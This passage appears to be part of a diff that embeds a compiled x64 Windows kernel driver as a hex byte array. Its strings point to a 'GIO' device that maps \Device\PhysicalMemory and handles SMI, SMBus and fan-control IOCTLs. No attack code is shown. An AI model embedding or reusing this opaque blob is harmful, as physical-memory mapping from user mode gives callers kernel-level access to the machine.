0x00, 0x00, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF6, 0xC1, 0x0F, 0x74, 0xA3, 0x48, 0xFF, 0xC9, + 0x8A, 0x04, 0x0A, 0x49, 0xFF, 0xC8, 0x88, 0x01, 0xF6, 0xC1, 0x0F, 0x75, + 0xF0, 0xEB, 0x91, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, + 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x48, 0x81, 0xFA, 0x00, 0xFE, 0xFF, + 0xFF, 0x77, 0x81, 0xB8, 0x04, 0x00, 0x00, 0x00, 0x48, 0x81, 0xE9, 0x80, + 0x00, 0x00, 0x00, 0x0F, 0x18, 0x04, 0x0A, 0x0F, 0x18, 0x44, 0x0A, 0x40, + 0xFF, 0xC8, 0x75, 0xEC, 0x48, 0x81, 0xC1, 0x00, 0x02, 0x00, 0x00, 0xB8, + 0x08, 0x00, 0x00, 0x00, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0xF0, 0xF3, 0x0F, + 0x6F, 0x4C, 0x0A, 0xE0, 0x66, 0x0F, 0xE7, 0x41, 0xF0, 0x66, 0x0F, 0xE7, + 0x49, 0xE0, 0x48, 0x83, 0xE9, 0x40, 0xF3, 0x0F, 0x6F, 0x44, 0x0A, 0x10, + 0xF3, 0x0F, 0x6F, 0x0C, 0x0A, 0x66, 0x0F, 0xE7, 0x41, 0x10, 0x66, 0x0F, + 0xE7, 0x09, 0xFF, 0xC8, 0x75, 0xCE, 0x49, 0x81, 0xE8, 0x00, 0x02, 0x00, + 0x00, 0x49, 0x81, 0xF8, 0x00, 0x02, 0x00, 0x00, 0x73, 0x99, 0xF0, 0x80, + 0x0C, 0x24, 0x00, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x05, 0x0F, 0x85, + 0x08, 0xFF, 0xFF, 0xFF, 0xE9, 0x7E, 0xFE, 0xFF, 0xFF, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x48, 0x8B, 0xC1, 0x49, 0x83, 0xF8, 0x08, 0x72, + 0x2C, 0x0F, 0xB6, 0xD2, 0x49, 0xB9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, + 0x01, 0x01, 0x49, 0x0F, 0xAF, 0xD1, 0x49, 0x83, 0xF8, 0x47, 0x73, 0x60, + 0x4D, 0x8B, 0xC8, 0x49, 0x83, 0xE1, 0xF8, 0x49, 0x03, 0xC9, 0x49, 0x89, + 0x54, 0x01, 0xF8, 0x49, 0x83, 0xE9, 0x08, 0x75, 0xF5, 0x49, 0x83, 0xE0, + 0x07, 0x74, 0x0F, 0x0F, 0x1F, 0x44, 0x00, 0x00, 0x41, 0x88, 0x54, 0x08, + 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, 0x90, 0xC3, 0x66, 0x66, 0x66, 0x66, + 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, + 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0F, 0x1F, 0x84, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00, + 0xF7, 0xD9, 0x83, 0xE1, 0x07, 0x74, 0x06, 0x4C, 0x2B, 0xC1, 0x48, 0x89, + 0x10, 0x48, 0x03, 0xC8, 0x4D, 0x8B, 0xC8, 0x49, 0xC1, 0xE9, 0x03, 0x4D, + 0x8B, 0xD1, 0x49, 0xC1, 0xEA, 0x03, 0x49, 0x83, 0xE1, 0x07, 0x74, 0x1C, + 0x49, 0x83, 0xE9, 0x08, 0x4A, 0x8D, 0x0C, 0xC9, 0x49, 0xF7, 0xD9, 0x49, + 0xFF, 0xC2, 0x4C, 0x8D, 0x1D, 0x06, 0x00, 0x00, 0x00, 0x4F, 0x8D, 0x1C, + 0x8B, 0x41, 0xFF, 0xE3, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, + 0x89, 0x51, 0x10, 0x48, 0x89, 0x51, 0x18, 0x48, 0x89, 0x51, 0x20, 0x48, + 0x89, 0x51, 0x28, 0x48, 0x89, 0x51, 0x30, 0x48, 0x89, 0x51, 0x38, 0x48, + 0x83, 0xC1, 0x40, 0x49, 0xFF, 0xCA, 0x75, 0xD8, 0x49, 0x83, 0xE0, 0x07, + 0x74, 0x0A, 0x41, 0x88, 0x54, 0x08, 0xFF, 0x49, 0xFF, 0xC8, 0x75, 0xF6, + 0x90, 0xC3, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, + 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5C, 0x00, + 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x5C, 0x00, 0x44, 0x00, 0x6F, 0x00, 0x73, 0x00, + 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, + 0x73, 0x00, 0x5C, 0x00, 0x47, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x00, 0x00, + 0x53, 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x50, 0x56, 0x4F, 0x49, 0x44, + 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, + 0x6C, 0x6C, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, 0x0A, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x6D, 0x61, 0x70, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, + 0x64, 0x20, 0x3A, 0x28, 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x70, 0x75, + 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x4C, 0x65, 0x6E, 0x67, 0x74, + 0x68, 0x3D, 0x25, 0x64, 0x2C, 0x73, 0x7A, 0x69, 0x65, 0x6F, 0x66, 0x28, + 0x50, 0x56, 0x4F, 0x49, 0x44, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x6D, 0x65, 0x6D, 0x6F, + 0x72, 0x79, 0x20, 0x73, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x66, 0x75, + 0x6C, 0x6C, 0x79, 0x20, 0x75, 0x6E, 0x6D, 0x61, 0x70, 0x70, 0x65, 0x64, + 0x0A, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x4D, 0x41, 0x50, 0x4D, + 0x45, 0x4D, 0x2E, 0x53, 0x59, 0x53, 0x3A, 0x20, 0x5A, 0x77, 0x55, 0x6E, + 0x6D, 0x61, 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, + 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x66, 0x61, 0x69, 0x6C, 0x65, 0x64, 0x0A, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x53, + 0x4D, 0x42, 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x53, 0x4D, 0x42, + 0x55, 0x53, 0x20, 0x43, 0x6F, 0x6E, 0x74, 0x72, 0x6F, 0x6C, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x49, 0x6E, 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, + 0x20, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x74, + 0x69, 0x6F, 0x6E, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, + 0x61, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x78, 0x69, 0x74, + 0x20, 0x49, 0x4F, 0x20, 0x52, 0x65, 0x61, 0x64, 0x20, 0x25, 0x64, 0x20, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x49, 0x6E, 0x20, 0x49, 0x4F, 0x20, 0x57, 0x72, + 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x77, 0x72, 0x69, 0x74, 0x65, 0x20, 0x25, 0x64, 0x20, 0x74, 0x6F, 0x20, + 0x25, 0x64, 0x00, 0xCC, 0x45, 0x78, 0x69, 0x74, 0x20, 0x49, 0x4F, 0x20, + 0x57, 0x72, 0x69, 0x74, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x63, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x5C, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x5C, 0x00, 0x50, 0x00, 0x68, 0x00, 0x79, 0x00, 0x73, 0x00, + 0x69, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4D, 0x00, 0x65, 0x00, + 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, 0x00, 0x00, 0xCC, 0xCC, + 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x3D, 0x30, 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, + 0x72, 0x65, 0x64, 0x20, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, + 0x4F, 0x4E, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, + 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x4F, 0x46, 0x46, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x45, 0x6E, 0x74, 0x65, 0x72, 0x65, 0x64, 0x20, 0x43, 0x68, 0x6B, 0x43, + 0x50, 0x55, 0x53, 0x6D, 0x61, 0x72, 0x74, 0x46, 0x61, 0x6E, 0x00, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x65, + 0x72, 0x65, 0x64, 0x20, 0x43, 0x50, 0x55, 0x54, 0x65, 0x6D, 0x70, 0x50, + 0x77, 0x6D, 0x57, 0x72, 0x69, 0x74, 0x65, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, + 0x63, 0x74, 0x6C, 0x53, 0x4D, 0x49, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x31, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x73, + 0x69, 0x7A, 0x65, 0x20, 0x6E, 0x6F, 0x74, 0x20, 0x6D, 0x61, 0x74, 0x63, + 0x68, 0x20, 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x31, 0x2E, 0x39, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, 0x00, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x32, + 0x2E, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x33, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x61, 0x78, 0x3D, 0x20, + 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, + 0x78, 0x74, 0x5F, 0x64, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, + 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x64, + 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x70, 0x3D, 0x20, + 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x64, 0x62, 0x67, 0x34, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x64, 0x62, 0x67, 0x35, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, 0x62, 0x78, 0x3D, 0x20, + 0x25, 0x78, 0x2C, 0x65, 0x78, 0x74, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x6F, 0x72, 0x67, 0x5F, 0x61, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x2C, 0x6F, + 0x72, 0x67, 0x5F, 0x63, 0x78, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x65, 0x78, 0x74, 0x5F, + 0x73, 0x69, 0x3D, 0x20, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x56, 0x61, 0x6C, 0x69, 0x64, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, + 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x50, 0x61, + 0x67, 0x65, 0x41, 0x64, 0x64, 0x72, 0x2D, 0x3E, 0x64, 0x77, 0x48, 0x61, + 0x6E, 0x64, 0x6C, 0x65, 0x20, 0x56, 0x41, 0x3D, 0x25, 0x78, 0x2C, 0x73, + 0x69, 0x7A, 0x65, 0x6F, 0x66, 0x28, 0x64, 0x77, 0x48, 0x61, 0x6E, 0x64, + 0x6C, 0x65, 0x29, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0x50, 0x68, 0x79, 0x73, + 0x69, 0x63, 0x61, 0x6C, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, + 0x3D, 0x25, 0x78, 0x2C, 0x64, 0x77, 0x4C, 0x69, 0x6E, 0x73, 0x3D, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0x44, 0x65, 0x73, 0x74, 0x3D, 0x25, 0x78, 0x2C, + 0x53, 0x72, 0x63, 0x3D, 0x25, 0x78, 0x2C, 0x73, 0x69, 0x7A, 0x65, 0x3D, + 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x20, 0x53, 0x69, 0x7A, + 0x65, 0x3D, 0x25, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x28, 0x46, 0x52, 0x45, + 0x45, 0x5F, 0x50, 0x48, 0x59, 0x53, 0x5F, 0x4D, 0x45, 0x4D, 0x29, 0x20, + 0x49, 0x6E, 0x73, 0x75, 0x66, 0x66, 0x69, 0x63, 0x69, 0x65, 0x6E, 0x74, + 0x20, 0x69, 0x6E, 0x70, 0x75, 0x74, 0x20, 0x6F, 0x72, 0x20, 0x6F, 0x75, + 0x74, 0x70, 0x75, 0x74, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x0A, + 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x44, 0x65, 0x66, 0x61, 0x75, 0x6C, 0x74, 0x20, 0x56, 0x41, 0x3D, 0x25, + 0x78, 0x00, 0xCC, 0xCC, 0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, + 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3D, 0x25, 0x78, 0x00, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x45, 0x6E, 0x74, 0x72, 0x79, 0x20, 0x49, 0x6F, 0x63, 0x74, 0x6C, 0x53, + 0x4D, 0x42, 0x55, 0x53, 0x43, 0x6D, 0x64, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0x53, 0x69, 0x7A, 0x65, + 0x20, 0x63, 0x68, 0x65, 0x63, 0x6B, 0x20, 0x65, 0x72, 0x72, 0x6F, 0x72, + 0x21, 0x21, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0xCC, 0xCC, 0xCC, 0xCC, 0x70, 0x74, 0x72, 0x5B, 0x30, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x31, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x32, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x33, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x34, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x2C, 0x70, 0x74, 0x72, 0x5B, 0x35, 0x5D, 0x3D, 0x30, + 0x78, 0x25, 0x78, 0x00, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, + 0x52, 0x65, 0x74, 0x20, 0x56, 0x61, 0x6C, 0x75, 0x65, 0x3D, 0x30, 0x78, + 0x25, 0x78, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2F, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x80, 0x2F, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x40, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x65, 0xEB, 0x20, 0x5A, 0x00, 0x00, 0x00, 0x00, + 0x02, 0x00, 0x00, 0x00, 0x72, 0x00, 0x00, 0x00, 0x54, 0x42, 0x00, 0x00, + 0x54, 0x32, 0x00, 0x00, 